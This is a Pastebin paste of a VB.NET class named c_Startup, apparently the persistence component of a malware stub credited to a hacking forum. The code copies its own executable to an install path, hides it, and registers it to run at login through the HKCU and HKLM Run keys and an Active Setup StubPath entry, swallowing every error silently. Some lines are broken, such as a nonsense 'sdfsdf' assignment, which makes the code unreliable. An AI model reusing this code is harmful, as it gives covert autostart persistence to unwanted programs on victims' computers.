Advertisement
InfinityExistz

.NET-Startup

Jan 3rd, 2012
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 1.83 KB | None | 0 0
  1. NotInheritable Class c_Startup
  2.     Private Sub New()
  3.     End Sub
  4.     '
  5.     '          Coded by Xepouhe :: OpenSC.ws
  6.     '        
  7.  
  8.     Public Shared Function IsInstalled() As Boolean
  9.         Dim c_Config = sdfsdf
  10.         If File.Exists(c_Config.GetInstallPath()) Then
  11.             Return True
  12.         End If
  13.         Return False
  14.     End Function
  15.  
  16.     Public Shared Sub RegistryInstall()
  17.         Dim rkKey As RegistryKey = Nothing
  18.         rkKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run")
  19.         rkKey.SetValue(c_Config.GetRegistryName(), c_Config.GetInstallPath())
  20.         rkKey.Close()
  21.         rkKey = Nothing
  22.         If Not c_Misc.IsVista78() Then
  23.             rkKey = Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run")
  24.             rkKey.SetValue(c_Config.GetRegistryName(), c_Config.GetInstallPath())
  25.             rkKey.Close()
  26.             rkKey = Nothing
  27.             rkKey = Registry.LocalMachine.OpenSubKey("Software\Microsoft\Active Setup\Installed Components")
  28.             rkKey.CreateSubKey(c_Config.GetActiveXKey())
  29.             rkKey = rkKey.OpenSubKey(c_Config.GetActiveXKey())
  30.             rkKey.SetValue("StubPath", c_Config.GetInstallPath())
  31.             rkKey.SetValue("IsInstalled", 1, RegistryValueKind.DWord)
  32.             rkKey.Close()
  33.             rkKey = Nothing
  34.         End If
  35.     End Sub
  36.  
  37.     Public Shared Sub Install()
  38.         Try
  39.             File.Copy(Application.ExecutablePath, c_Config.GetInstallPath())
  40.             If File.Exists(c_Config.GetInstallPath()) Then
  41.                 RegistryInstall()
  42.                 File.SetAttributes(c_Config.GetInstallPath(), File.GetAttributes(c_Config.GetInstallPath()) Or FileAttributes.Hidden)
  43.             End If
  44.             'Environment.[Exit](0)
  45.  
  46.         Catch
  47.         End Try
  48.     End Sub
  49. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement